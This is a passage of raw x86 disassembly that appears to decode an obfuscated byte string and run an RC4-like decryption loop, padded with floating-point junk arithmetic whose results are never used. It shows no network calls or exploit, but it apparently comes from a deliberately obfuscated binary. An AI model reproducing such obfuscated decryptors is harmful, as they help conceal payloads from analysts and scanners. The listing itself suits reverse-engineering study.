addsd xmm0, qword [ebp - 0x48f4]
movsd qword [ebp - 0x464c], xmm0
movsd xmm0, qword [ebp - 0x48ec]
comisd xmm0, xmmword [ebp - 0x464c]
jbe 0x43427e
movsd xmm0, qword [ebp - 0x464c]
addsd xmm0, qword [ebp - 0x48ec]
movsd qword [ebp - 0x464c], xmm0
movsd xmm0, qword [ebp - 0x464c]
mulsd xmm0, qword [ebp - 0x48ec]
movsd qword [ebp - 0x464c], xmm0
movsd xmm0, qword [ebp - 0x464c]
addsd xmm0, qword [ebp - 0x48ec]
movsd qword [ebp - 0x464c], xmm0
jmp 0x4342e1
movsd xmm0, qword [ebp - 0x48f4]
mulsd xmm0, qword [ebp - 0x48ec]
movsd qword [ebp - 0x48f4], xmm0
movsd xmm0, qword [ebp - 0x48f4]
subsd xmm0, qword [ebp - 0x48ec]
movsd qword [ebp - 0x48f4], xmm0
movsd xmm0, qword [ebp - 0x48f4]
mulsd xmm0, qword [ebp - 0x48ec]
movsd qword [ebp - 0x48f4], xmm0
mov ecx, dword [ebp - 0x3718]
add ecx, dword [ebp - 0x371c]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x36a0]
mov dword [ebp - 0x36a0], edx
mov dword [ebp - 0x360c], 0
mov eax, dword [ebp - 0x360c]
add eax, 0x5f
mov dword [ebp - 0x360c], eax
mov dword [ebp - 0x35fc], 0
mov ecx, dword [ebp - 0x3698]
sub ecx, dword [ebp - 0x369c]
add ecx, dword [ebp - 0x35fc]
mov dword [ebp - 0x35fc], ecx
mov dword [ebp - 0x3600], 0
mov edx, dword [ebp - 0x36a0]
sub edx, dword [ebp - 0x360c]
add edx, dword [ebp - 0x3600]
mov dword [ebp - 0x3600], edx
mov dword [ebp - 0x3720], 0
mov eax, dword [ebp - 0x35fc]
shl eax, 4
mov dword [ebp - 0x3720], eax
mov dword [ebp - 0x3724], 0
mov ecx, dword [ebp - 0x3600]
mov dword [ebp - 0x3724], ecx
mov dword [ebp - 0x3728], 0
mov edx, dword [ebp - 0x3720]
or edx, dword [ebp - 0x3724]
mov dword [ebp - 0x3728], edx
mov byte [ebp - 0x32c1], 0
mov al, byte [ebp - 0x3728]
mov byte [ebp - 0x32c1], al
mov byte [ebp - 0x32bf], 0
movzx ecx, byte [ebp - 0x328d]
mov dl, byte [ebp + ecx - 0x5028]
mov byte [ebp - 0x32bf], dl
movzx eax, byte [ebp - 0x3263]
movzx ecx, byte [ebp + eax - 0x5028]
movzx edx, byte [ebp - 0x326f]
add edx, ecx
mov byte [ebp - 0x326f], dl
mov al, byte [ebp - 0x3263]
add al, 1
mov byte [ebp - 0x3263], al
movzx ecx, byte [ebp - 0x326f]
movzx edx, byte [ebp - 0x328d]
mov al, byte [ebp + ecx - 0x5028]
mov byte [ebp + edx - 0x5028], al
movsd xmm0, qword [0xa6eee0]
movsd qword [ebp - 0x3908], xmm0
movsd xmm0, qword [0xa6ecc0]
movsd qword [ebp - 0x418c], xmm0
movsd xmm0, qword [0xa6e9d8]
movsd qword [ebp - 0x3c00], xmm0
movsd xmm0, qword [ebp - 0x3908]
mulsd xmm0, qword [ebp - 0x3c00]
movsd qword [ebp - 0x3908], xmm0
movsd xmm0, qword [ebp - 0x3908]
subsd xmm0, qword [ebp - 0x3c00]
movsd qword [ebp - 0x3908], xmm0
movsd xmm0, qword [ebp - 0x3908]
subsd xmm0, qword [ebp - 0x3c00]
movsd qword [ebp - 0x3908], xmm0
movsd xmm0, qword [ebp - 0x3908]
comisd xmm0, xmmword [ebp - 0x3c00]
jbe 0x4344f2
movsd xmm0, qword [ebp - 0x3908]
addsd xmm0, qword [ebp - 0x3c00]
movsd qword [ebp - 0x3908], xmm0
movsd xmm0, qword [ebp - 0x3908]
subsd xmm0, qword [ebp - 0x3c00]
movsd qword [ebp - 0x3908], xmm0
movsd xmm0, qword [ebp - 0x3908]
subsd xmm0, qword [ebp - 0x3c00]
movsd qword [ebp - 0x3908], xmm0
movzx ecx, byte [ebp - 0x3276]
movzx edx, byte [ebp - 0x326f]
mov al, byte [ebp + ecx - 0x5028]
mov byte [ebp + edx - 0x5028], al
jmp 0x434716
movsd xmm0, qword [ebp - 0x418c]
subsd xmm0, qword [ebp - 0x3908]
movsd qword [ebp - 0x418c], xmm0
movsd xmm0, qword [ebp - 0x3908]
addsd xmm0, qword [ebp - 0x3c00]
movsd qword [ebp - 0x3908], xmm0
movsd xmm0, qword [ebp - 0x3908]
addsd xmm0, qword [ebp - 0x3c00]
movsd qword [ebp - 0x3908], xmm0
movsd xmm0, qword [ebp - 0x3908]
mulsd xmm0, qword [ebp - 0x418c]
movsd qword [ebp - 0x3908], xmm0
movsd xmm0, qword [ebp - 0x418c]
subsd xmm0, qword [ebp - 0x3c00]
movsd qword [ebp - 0x418c], xmm0
movsd xmm0, qword [ebp - 0x3c00]
mulsd xmm0, qword [ebp - 0x3908]
movsd qword [ebp - 0x3c00], xmm0
movsd xmm0, qword [ebp - 0x418c]
comisd xmm0, xmmword [ebp - 0x3908]
jbe 0x4346ce
movsd xmm0, qword [ebp - 0x3c00]
mulsd xmm0, qword [ebp - 0x3908]
movsd qword [ebp - 0x3c00], xmm0
movsd xmm0, qword [ebp - 0x418c]
divsd xmm0, qword [ebp - 0x3c00]
movsd qword [ebp - 0x418c], xmm0
movsd xmm0, qword [ebp - 0x418c]
addsd xmm0, qword [ebp - 0x3c00]
movsd qword [ebp - 0x418c], xmm0
movsd xmm0, qword [ebp - 0x3c00]
divsd xmm0, qword [ebp - 0x3908]
movsd qword [ebp - 0x3c00], xmm0
movsd xmm0, qword [ebp - 0x3c00]
subsd xmm0, qword [ebp - 0x3908]
movsd qword [ebp - 0x3c00], xmm0
movsd xmm0, qword [ebp - 0x418c]
divsd xmm0, qword [ebp - 0x3c00]
movsd qword [ebp - 0x418c], xmm0
movsd xmm0, qword [ebp - 0x3908]
comisd xmm0, xmmword [ebp - 0x3c00]
jbe 0x434684
movsd xmm0, qword [ebp - 0x418c]
subsd xmm0, qword [ebp - 0x3908]
movsd qword [ebp - 0x418c], xmm0
movsd xmm0, qword [ebp - 0x3908]
addsd xmm0, qword [ebp - 0x3c00]
movsd qword [ebp - 0x3908], xmm0
movsd xmm0, qword [ebp - 0x418c]
addsd xmm0, qword [ebp - 0x3908]
movsd qword [ebp - 0x418c], xmm0
jmp 0x4346cc
movsd xmm0, qword [ebp - 0x3908]
addsd xmm0, qword [ebp - 0x418c]
movsd qword [ebp - 0x3908], xmm0
movsd xmm0, qword [ebp - 0x3c00]
mulsd xmm0, qword [ebp - 0x3908]
movsd qword [ebp - 0x3c00], xmm0
movsd xmm0, qword [ebp - 0x3908]
addsd xmm0, qword [ebp - 0x418c]
movsd qword [ebp - 0x3908], xmm0
jmp 0x434716
movsd xmm0, qword [ebp - 0x3c00]
addsd xmm0, qword [ebp - 0x3908]
movsd qword [ebp - 0x3c00], xmm0
movsd xmm0, qword [ebp - 0x418c]
addsd xmm0, qword [ebp - 0x3c00]
movsd qword [ebp - 0x418c], xmm0
movsd xmm0, qword [ebp - 0x3c00]
mulsd xmm0, qword [ebp - 0x3908]
movsd qword [ebp - 0x3c00], xmm0
movzx ecx, byte [ebp - 0x3263]
movzx edx, byte [ebp - 0x3276]
mov al, byte [ebp + ecx - 0x5028]
mov byte [ebp + edx - 0x5028], al
movzx ecx, byte [ebp - 0x3263]
mov dl, byte [ebp - 0x32bf]
mov byte [ebp + ecx - 0x5028], dl
movzx eax, byte [ebp - 0x32bf]
movzx ecx, byte [ebp + eax - 0x5028]
movzx edx, byte [ebp - 0x32c0]
add edx, ecx
mov byte [ebp - 0x32c0], dl
movzx eax, byte [ebp - 0x32c1]
movzx ecx, byte [ebp - 0x326f]
movzx edx, byte [ebp + ecx - 0x5028]
movzx ecx, byte [ebp - 0x3263]
movzx ecx, byte [ebp + ecx - 0x5028]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5028]
xor eax, edx
movzx ecx, byte [ebp - 0x3276]
movzx edx, byte [ebp + ecx - 0x5028]
movzx ecx, byte [ebp - 0x328d]
movzx ecx, byte [ebp + ecx - 0x5028]
add edx, ecx
movzx ecx, byte [ebp - 0x32c0]
movzx ecx, byte [ebp + ecx - 0x5028]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5028]
movzx ecx, byte [ebp + edx - 0x5028]
xor eax, ecx
mov byte [ebp - 0x3276], al
mov dl, byte [ebp - 0x32c1]
mov byte [ebp - 0x328d], dl
mov al, byte [ebp - 0x3276]
mov byte [ebp - 0x3309], al
cmp dword [ebp - 0x3344], 0
jle 0x434821
movsx cx, byte [ebp - 0x3309]
mov edx, dword [ebp - 0x3344]
mov word [ebp + edx*2 - 0x3a6], cx
mov eax, dword [ebp - 0x34e4]
add eax, 0x12
mov dword [ebp - 0x34e4], eax
mov ecx, dword [ebp - 0x3344]
add ecx, 1
mov dword [ebp - 0x4aec], ecx
jmp 0x434850
mov edx, dword [ebp - 0x4aec]
add edx, 1
mov dword [ebp - 0x4aec], edx
mov eax, dword [ebp - 0x4aec]
cmp eax, dword [ebp - 0x34e4]
jge 0x434ab3
mov ecx, dword [ebp - 0x3344]
add ecx, 1
mov dword [ebp - 0x3344], ecx
mov edx, dword [ebp - 0x3344]
shl edx, 1
mov dword [ebp - 0x3714], edx
mov eax, dword [ebp - 0x3718]
add eax, dword [ebp - 0x3714]
movzx ecx, byte [eax]
mov dword [ebp - 0x3698], ecx
mov dword [ebp - 0x369c], 0x14
mov edx, dword [ebp - 0x3344]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x371c], eax
mov ecx, dword [ebp - 0x3718]
add ecx, dword [ebp - 0x371c]
movzx edx, byte [ecx]
mov dword [ebp - 0x36a0], edx
mov dword [ebp - 0x360c], 0x5f
mov eax, dword [ebp - 0x3698]
sub eax, dword [ebp - 0x369c]
mov dword [ebp - 0x35fc], eax
mov ecx, dword [ebp - 0x36a0]
sub ecx, dword [ebp - 0x360c]
mov dword [ebp - 0x3600], ecx
mov edx, dword [ebp - 0x35fc]
shl edx, 4
mov dword [ebp - 0x3720], edx
mov eax, dword [ebp - 0x3600]
mov dword [ebp - 0x3724], eax
mov ecx, dword [ebp - 0x3720]
or ecx, dword [ebp - 0x3724]
mov dword [ebp - 0x3728], ecx
mov dl, byte [ebp - 0x3728]
mov byte [ebp - 0x32c1], dl
movzx eax, byte [ebp - 0x328d]
mov cl, byte [ebp + eax - 0x5028]
mov byte [ebp - 0x32bf], cl
movzx edx, byte [ebp - 0x3263]
movzx eax, byte [ebp + edx - 0x5028]
movzx ecx, byte [ebp - 0x326f]
add ecx, eax
mov byte [ebp - 0x326f], cl
mov dl, byte [ebp - 0x3263]
add dl, 1
mov byte [ebp - 0x3263], dl
movzx eax, byte [ebp - 0x326f]
movzx ecx, byte [ebp - 0x328d]
mov dl, byte [ebp + eax - 0x5028]
mov byte [ebp + ecx - 0x5028], dl
movzx eax, byte [ebp - 0x3276]
movzx ecx, byte [ebp - 0x326f]
mov dl, byte [ebp + eax - 0x5028]
mov byte [ebp + ecx - 0x5028], dl
movzx eax, byte [ebp - 0x3263]
movzx ecx, byte [ebp - 0x3276]
mov dl, byte [ebp + eax - 0x5028]
mov byte [ebp + ecx - 0x5028], dl
movzx eax, byte [ebp - 0x3263]
mov cl, byte [ebp - 0x32bf]
mov byte [ebp + eax - 0x5028], cl
movzx edx, byte [ebp - 0x32bf]
movzx eax, byte [ebp + edx - 0x5028]
movzx ecx, byte [ebp - 0x32c0]
add ecx, eax
mov byte [ebp - 0x32c0], cl
movzx edx, byte [ebp - 0x32c1]
movzx eax, byte [ebp - 0x326f]
movzx ecx, byte [ebp + eax - 0x5028]
movzx eax, byte [ebp - 0x3263]
movzx eax, byte [ebp + eax - 0x5028]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5028]
xor edx, ecx
movzx eax, byte [ebp - 0x3276]
movzx ecx, byte [ebp + eax - 0x5028]
movzx eax, byte [ebp - 0x328d]
movzx eax, byte [ebp + eax - 0x5028]
add ecx, eax
movzx eax, byte [ebp - 0x32c0]
movzx eax, byte [ebp + eax - 0x5028]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5028]
movzx eax, byte [ebp + ecx - 0x5028]
xor edx, eax
mov byte [ebp - 0x3276], dl
mov cl, byte [ebp - 0x32c1]
mov byte [ebp - 0x328d], cl
mov dl, byte [ebp - 0x3276]
mov byte [ebp - 0x3309], dl
cmp dword [ebp - 0x3344], 0
jle 0x434aae
movsx ax, byte [ebp - 0x3309]
mov ecx, dword [ebp - 0x3344]
mov word [ebp + ecx*2 - 0x3a6], ax
jmp 0x434841
mov edx, dword [ebp - 0x34e4]
add edx, 1
mov dword [ebp - 0x34e4], edx
mov eax, dword [ebp - 0x3344]
add eax, 1
mov dword [ebp - 0x3344], eax
mov ecx, dword [ebp - 0x34e4]
add ecx, 1
mov dword [ebp - 0x34e4], ecx
mov edx, dword [ebp - 0x3344]
shl edx, 1
mov dword [ebp - 0x3714], edx
mov eax, dword [ebp - 0x3718]
add eax, dword [ebp - 0x3714]
movzx ecx, byte [eax]
mov dword [ebp - 0x3698], ecx
mov dword [ebp - 0x369c], 0x14
mov edx, dword [ebp - 0x3344]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x371c], eax
mov ecx, dword [ebp - 0x3718]
add ecx, dword [ebp - 0x371c]
movzx edx, byte [ecx]
mov dword [ebp - 0x36a0], edx
mov dword [ebp - 0x360c], 0x5f
mov eax, dword [ebp - 0x3698]
sub eax, dword [ebp - 0x369c]
mov dword [ebp - 0x35fc], eax
mov ecx, dword [ebp - 0x36a0]
sub ecx, dword [ebp - 0x360c]
mov dword [ebp - 0x3600], ecx
mov edx, dword [ebp - 0x35fc]
shl edx, 4
mov dword [ebp - 0x3720], edx
mov eax, dword [ebp - 0x3600]
mov dword [ebp - 0x3724], eax
mov ecx, dword [ebp - 0x3720]
or ecx, dword [ebp - 0x3724]
mov dword [ebp - 0x3728], ecx
mov dl, byte [ebp - 0x3728]
mov byte [ebp - 0x32c1], dl
movzx eax, byte [ebp - 0x328d]
mov cl, byte [ebp + eax - 0x5028]
mov byte [ebp - 0x32bf], cl
movzx edx, byte [ebp - 0x3263]
movzx eax, byte [ebp + edx - 0x5028]
movzx ecx, byte [ebp - 0x326f]
add ecx, eax
mov byte [ebp - 0x326f], cl
mov dl, byte [ebp - 0x3263]
add dl, 1
mov byte [ebp - 0x3263], dl
movzx eax, byte [ebp - 0x326f]
movzx ecx, byte [ebp - 0x328d]
mov dl, byte [ebp + eax - 0x5028]
mov byte [ebp + ecx - 0x5028], dl
movzx eax, byte [ebp - 0x3276]
movzx ecx, byte [ebp - 0x326f]
mov dl, byte [ebp + eax - 0x5028]
mov byte [ebp + ecx - 0x5028], dl
movzx eax, byte [ebp - 0x3263]
movzx ecx, byte [ebp - 0x3276]
mov dl, byte [ebp + eax - 0x5028]
mov byte [ebp + ecx - 0x5028], dl
movzx eax, byte [ebp - 0x3263]
mov cl, byte [ebp - 0x32bf]
mov byte [ebp + eax - 0x5028], cl
movzx edx, byte [ebp - 0x32bf]
movzx eax, byte [ebp + edx - 0x5028]
movzx ecx, byte [ebp - 0x32c0]
add ecx, eax
mov byte [ebp - 0x32c0], cl
movzx edx, byte [ebp - 0x32c1]
movzx eax, byte [ebp - 0x326f]
movzx ecx, byte [ebp + eax - 0x5028]
movzx eax, byte [ebp - 0x3263]
movzx eax, byte [ebp + eax - 0x5028]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5028]
xor edx, ecx
movzx eax, byte [ebp - 0x3276]
movzx ecx, byte [ebp + eax - 0x5028]
movzx eax, byte [ebp - 0x328d]
movzx eax, byte [ebp + eax - 0x5028]
add ecx, eax
movzx eax, byte [ebp - 0x32c0]
movzx eax, byte [ebp + eax - 0x5028]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5028]
movzx eax, byte [ebp + ecx - 0x5028]
xor edx, eax
mov byte [ebp - 0x3276], dl
mov cl, byte [ebp - 0x32c1]
mov byte [ebp - 0x328d], cl
mov dl, byte [ebp - 0x3276]
mov byte [ebp - 0x3309], dl
cmp dword [ebp - 0x3344], 0
jle 0x434d1d
movsx ax, byte [ebp - 0x3309]
mov ecx, dword [ebp - 0x3344]
mov word [ebp + ecx*2 - 0x3a6], ax
mov edx, dword [ebp - 0x3344]
add edx, 1
mov dword [ebp - 0x3344], edx
mov eax, dword [ebp - 0x34e4]
add eax, 1
mov dword [ebp - 0x34e4], eax
mov ecx, dword [ebp - 0x3344]
shl ecx, 1
mov dword [ebp - 0x3714], ecx
mov edx, dword [ebp - 0x3718]
add edx, dword [ebp - 0x3714]
movzx eax, byte [edx]
mov dword [ebp - 0x3698], eax
mov dword [ebp - 0x369c], 0x14
mov ecx, dword [ebp - 0x3344]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x371c], edx
mov eax, dword [ebp - 0x3718]
add eax, dword [ebp - 0x371c]
movzx ecx, byte [eax]
mov dword [ebp - 0x36a0], ecx
mov dword [ebp - 0x360c], 0x5f
mov edx, dword [ebp - 0x3698]
sub edx, dword [ebp - 0x369c]
mov dword [ebp - 0x35fc], edx
mov eax, dword [ebp - 0x36a0]
sub eax, dword [ebp - 0x360c]
mov dword [ebp - 0x3600], eax
mov ecx, dword [ebp - 0x35fc]
shl ecx, 4
mov dword [ebp - 0x3720], ecx
mov edx, dword [ebp - 0x3600]
mov dword [ebp - 0x3724], edx
mov eax, dword [ebp - 0x3720]
or eax, dword [ebp - 0x3724]
mov dword [ebp - 0x3728], eax
mov cl, byte [ebp - 0x3728]
mov byte [ebp - 0x32c1], cl
movzx edx, byte [ebp - 0x328d]
mov al, byte [ebp + edx - 0x5028]
mov byte [ebp - 0x32bf], al
movzx ecx, byte [ebp - 0x3263]
movzx edx, byte [ebp + ecx - 0x5028]
movzx eax, byte [ebp - 0x326f]
add eax, edx
mov byte [ebp - 0x326f], al
mov cl, byte [ebp - 0x3263]
add cl, 1
mov byte [ebp - 0x3263], cl
movzx edx, byte [ebp - 0x326f]
movzx eax, byte [ebp - 0x328d]
mov cl, byte [ebp + edx - 0x5028]
mov byte [ebp + eax - 0x5028], cl
movzx edx, byte [ebp - 0x3276]
movzx eax, byte [ebp - 0x326f]
mov cl, byte [ebp + edx - 0x5028]
mov byte [ebp + eax - 0x5028], cl
movzx edx, byte [ebp - 0x3263]
movzx eax, byte [ebp - 0x3276]
mov cl, byte [ebp + edx - 0x5028]
mov byte [ebp + eax - 0x5028], cl
movzx edx, byte [ebp - 0x3263]
mov al, byte [ebp - 0x32bf]
mov byte [ebp + edx - 0x5028], al
movzx ecx, byte [ebp - 0x32bf]
movzx edx, byte [ebp + ecx - 0x5028]
movzx eax, byte [ebp - 0x32c0]
add eax, edx
mov byte [ebp - 0x32c0], al
movzx ecx, byte [ebp - 0x32c1]
movzx edx, byte [ebp - 0x326f]
movzx eax, byte [ebp + edx - 0x5028]
movzx edx, byte [ebp - 0x3263]
movzx edx, byte [ebp + edx - 0x5028]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5028]
xor ecx, eax
movzx edx, byte [ebp - 0x3276]
movzx eax, byte [ebp + edx - 0x5028]
movzx edx, byte [ebp - 0x328d]
movzx edx, byte [ebp + edx - 0x5028]
add eax, edx
movzx edx, byte [ebp - 0x32c0]
movzx edx, byte [ebp + edx - 0x5028]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5028]
movzx edx, byte [ebp + eax - 0x5028]
xor ecx, edx
mov byte [ebp - 0x3276], cl
mov al, byte [ebp - 0x32c1]
mov byte [ebp - 0x328d], al
mov cl, byte [ebp - 0x3276]
mov byte [ebp - 0x3309], cl
cmp dword [ebp - 0x3344], 0
jle 0x434f76
movsx dx, byte [ebp - 0x3309]
mov eax, dword [ebp - 0x3344]
mov word [ebp + eax*2 - 0x3a6], dx
mov ecx, dword [ebp - 0x3344]
add ecx, 1
mov dword [ebp - 0x3344], ecx
mov edx, dword [ebp - 0x34e4]
add edx, 1
mov dword [ebp - 0x34e4], edx
mov eax, dword [ebp - 0x3344]
shl eax, 1
mov dword [ebp - 0x3714], eax
mov ecx, dword [ebp - 0x3718]
add ecx, dword [ebp - 0x3714]
movzx edx, byte [ecx]
mov dword [ebp - 0x3698], edx
mov dword [ebp - 0x369c], 0x14
mov eax, dword [ebp - 0x3344]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x371c], ecx
mov edx, dword [ebp - 0x3718]
add edx, dword [ebp - 0x371c]
movzx eax, byte [edx]
mov dword [ebp - 0x36a0], eax
mov dword [ebp - 0x360c], 0x5f
mov ecx, dword [ebp - 0x3698]
sub ecx, dword [ebp - 0x369c]
mov dword [ebp - 0x35fc], ecx
mov edx, dword [ebp - 0x36a0]
sub edx, dword [ebp - 0x360c]
mov dword [ebp - 0x3600], edx
mov eax, dword [ebp - 0x35fc]
shl eax, 4
mov dword [ebp - 0x3720], eax
mov ecx, dword [ebp - 0x3600]
mov dword [ebp - 0x3724], ecx
mov edx, dword [ebp - 0x3720]
or edx, dword [ebp - 0x3724]
mov dword [ebp - 0x3728], edx
mov al, byte [ebp - 0x3728]
mov byte [ebp - 0x32c1], al
movzx ecx, byte [ebp - 0x328d]
mov dl, byte [ebp + ecx - 0x5028]
mov byte [ebp - 0x32bf], dl
movzx eax, byte [ebp - 0x3263]
movzx ecx, byte [ebp + eax - 0x5028]
movzx edx, byte [ebp - 0x326f]
add edx, ecx
mov byte [ebp - 0x326f], dl
mov al, byte [ebp - 0x3263]
add al, 1
mov byte [ebp - 0x3263], al
movzx ecx, byte [ebp - 0x326f]
movzx edx, byte [ebp - 0x328d]
mov al, byte [ebp + ecx - 0x5028]
mov byte [ebp + edx - 0x5028], al
movzx ecx, byte [ebp - 0x3276]
movzx edx, byte [ebp - 0x326f]
mov al, byte [ebp + ecx - 0x5028]
mov byte [ebp + edx - 0x5028], al
movzx ecx, byte [ebp - 0x3263]
movzx edx, byte [ebp - 0x3276]
mov al, byte [ebp + ecx - 0x5028]
mov byte [ebp + edx - 0x5028], al
movzx ecx, byte [ebp - 0x3263]
mov dl, byte [ebp - 0x32bf]
mov byte [ebp + ecx - 0x5028], dl
movzx eax, byte [ebp - 0x32bf]
movzx ecx, byte [ebp + eax - 0x5028]
movzx edx, byte [ebp - 0x32c0]
add edx, ecx
mov byte [ebp - 0x32c0], dl
movzx eax, byte [ebp - 0x32c1]
movzx ecx, byte [ebp - 0x326f]
movzx edx, byte [ebp + ecx - 0x5028]
movzx ecx, byte [ebp - 0x3263]
movzx ecx, byte [ebp + ecx - 0x5028]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5028]
xor eax, edx
movzx ecx, byte [ebp - 0x3276]
movzx edx, byte [ebp + ecx - 0x5028]
movzx ecx, byte [ebp - 0x328d]
movzx ecx, byte [ebp + ecx - 0x5028]
add edx, ecx
movzx ecx, byte [ebp - 0x32c0]
movzx ecx, byte [ebp + ecx - 0x5028]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5028]
movzx ecx, byte [ebp + edx - 0x5028]
xor eax, ecx
mov byte [ebp - 0x3276], al
mov dl, byte [ebp - 0x32c1]
mov byte [ebp - 0x328d], dl
mov al, byte [ebp - 0x3276]
mov byte [ebp - 0x3309], al
cmp dword [ebp - 0x3344], 0
jle 0x4351d0
movsx cx, byte [ebp - 0x3309]
mov edx, dword [ebp - 0x3344]
mov word [ebp + edx*2 - 0x3a6], cx
mov eax, dword [ebp - 0x34e4]
add eax, 0x12
mov dword [ebp - 0x34e4], eax
mov ecx, dword [ebp - 0x3344]
add ecx, 1
mov dword [ebp - 0x4af0], ecx
jmp 0x4351ff
mov edx, dword [ebp - 0x4af0]
add edx, 1
mov dword [ebp - 0x4af0], edx
mov eax, dword [ebp - 0x4af0]
cmp eax, dword [ebp - 0x34e4]
jge 0x435462
mov ecx, dword [ebp - 0x3344]
add ecx, 1
mov dword [ebp - 0x3344], ecx
mov edx, dword [ebp - 0x3344]
shl edx, 1
mov dword [ebp - 0x3714], edx
mov eax, dword [ebp - 0x3718]
add eax, dword [ebp - 0x3714]
movzx ecx, byte [eax]
mov dword [ebp - 0x3698], ecx
mov dword [ebp - 0x369c], 0x14
mov edx, dword [ebp - 0x3344]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x371c], eax
mov ecx, dword [ebp - 0x3718]
add ecx, dword [ebp - 0x371c]
movzx edx, byte [ecx]
mov dword [ebp - 0x36a0], edx
mov dword [ebp - 0x360c], 0x5f
mov eax, dword [ebp - 0x3698]
sub eax, dword [ebp - 0x369c]
mov dword [ebp - 0x35fc], eax
mov ecx, dword [ebp - 0x36a0]
sub ecx, dword [ebp - 0x360c]
mov dword [ebp - 0x3600], ecx
mov edx, dword [ebp - 0x35fc]
shl edx, 4
mov dword [ebp - 0x3720], edx
mov eax, dword [ebp - 0x3600]
mov dword [ebp - 0x3724], eax
mov ecx, dword [ebp - 0x3720]
or ecx, dword [ebp - 0x3724]
mov dword [ebp - 0x3728], ecx
mov dl, byte [ebp - 0x3728]
mov byte [ebp - 0x32c1], dl
movzx eax, byte [ebp - 0x328d]
mov cl, byte [ebp + eax - 0x5028]
mov byte [ebp - 0x32bf], cl
movzx edx, byte [ebp - 0x3263]
movzx eax, byte [ebp + edx - 0x5028]
movzx ecx, byte [ebp - 0x326f]
add ecx, eax
mov byte [ebp - 0x326f], cl
mov dl, byte [ebp - 0x3263]
add dl, 1
mov byte [ebp - 0x3263], dl
movzx eax, byte [ebp - 0x326f]
movzx ecx, byte [ebp - 0x328d]
mov dl, byte [ebp + eax - 0x5028]
mov byte [ebp + ecx - 0x5028], dl
movzx eax, byte [ebp - 0x3276]
movzx ecx, byte [ebp - 0x326f]
mov dl, byte [ebp + eax - 0x5028]
mov byte [ebp + ecx - 0x5028], dl
movzx eax, byte [ebp - 0x3263]
movzx ecx, byte [ebp - 0x3276]
mov dl, byte [ebp + eax - 0x5028]
mov byte [ebp + ecx - 0x5028], dl
movzx eax, byte [ebp - 0x3263]
mov cl, byte [ebp - 0x32bf]
mov byte [ebp + eax - 0x5028], cl
movzx edx, byte [ebp - 0x32bf]
movzx eax, byte [ebp + edx - 0x5028]
movzx ecx, byte [ebp - 0x32c0]
add ecx, eax
mov byte [ebp - 0x32c0], cl
movzx edx, byte [ebp - 0x32c1]
movzx eax, byte [ebp - 0x326f]
movzx ecx, byte [ebp + eax - 0x5028]
movzx eax, byte [ebp - 0x3263]
movzx eax, byte [ebp + eax - 0x5028]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5028]
xor edx, ecx
movzx eax, byte [ebp - 0x3276]
movzx ecx, byte [ebp + eax - 0x5028]
movzx eax, byte [ebp - 0x328d]
movzx eax, byte [ebp + eax - 0x5028]
add ecx, eax
movzx eax, byte [ebp - 0x32c0]
movzx eax, byte [ebp + eax - 0x5028]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5028]
movzx eax, byte [ebp + ecx - 0x5028]
xor edx, eax
mov byte [ebp - 0x3276], dl
mov cl, byte [ebp - 0x32c1]
mov byte [ebp - 0x328d], cl
mov dl, byte [ebp - 0x3276]
mov byte [ebp - 0x3309], dl
cmp dword [ebp - 0x3344], 0
jle 0x43545d
movsx ax, byte [ebp - 0x3309]
mov ecx, dword [ebp - 0x3344]
mov word [ebp + ecx*2 - 0x3a6], ax
jmp 0x4351f0
mov edx, dword [ebp - 0x34e4]
add edx, 1
mov dword [ebp - 0x34e4], edx
mov eax, dword [ebp - 0x3344]
add eax, 1
mov dword [ebp - 0x3344], eax
mov ecx, dword [ebp - 0x34e4]
add ecx, 1
mov dword [ebp - 0x34e4], ecx
mov edx, dword [ebp - 0x3344]
shl edx, 1
mov dword [ebp - 0x3714], edx
mov eax, dword [ebp - 0x3718]
add eax, dword [ebp - 0x3714]
movzx ecx, byte [eax]
mov dword [ebp - 0x3698], ecx
mov dword [ebp - 0x369c], 0x14
mov edx, dword [ebp - 0x3344]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x371c], eax
mov ecx, dword [ebp - 0x3718]
add ecx, dword [ebp - 0x371c]
movzx edx, byte [ecx]
mov dword [ebp - 0x36a0], edx
mov dword [ebp - 0x360c], 0x5f
mov eax, dword [ebp - 0x3698]
sub eax, dword [ebp - 0x369c]
mov dword [ebp - 0x35fc], eax
mov ecx, dword [ebp - 0x36a0]
sub ecx, dword [ebp - 0x360c]
mov dword [ebp - 0x3600], ecx
mov edx, dword [ebp - 0x35fc]
shl edx, 4
mov dword [ebp - 0x3720], edx
movss xmm0, dword [0xa6f210]
movss dword [ebp - 0x3510], xmm0
movss xmm0, dword [0xa6f184]
movss dword [ebp - 0x34e8], xmm0
movss xmm0, dword [0xa6f108]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [0xa6f06c]
movss dword [ebp - 0x3520], xmm0
movss xmm0, dword [0xa6efdc]
movss dword [ebp - 0x33ec], xmm0
movss xmm0, dword [ebp - 0x34b0]
subss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x34b0]
mulss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x34b0], xmm0
movss xmm0, dword [ebp - 0x3510]
mulss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x3510], xmm0
movss xmm0, dword [ebp - 0x3520]
mulss xmm0, dword [ebp - 0x33ec]
movss dword [ebp - 0x3520], xmm0
movss xmm0, dword [ebp - 0x3520]
mulss xmm0, dword [ebp - 0x33ec]
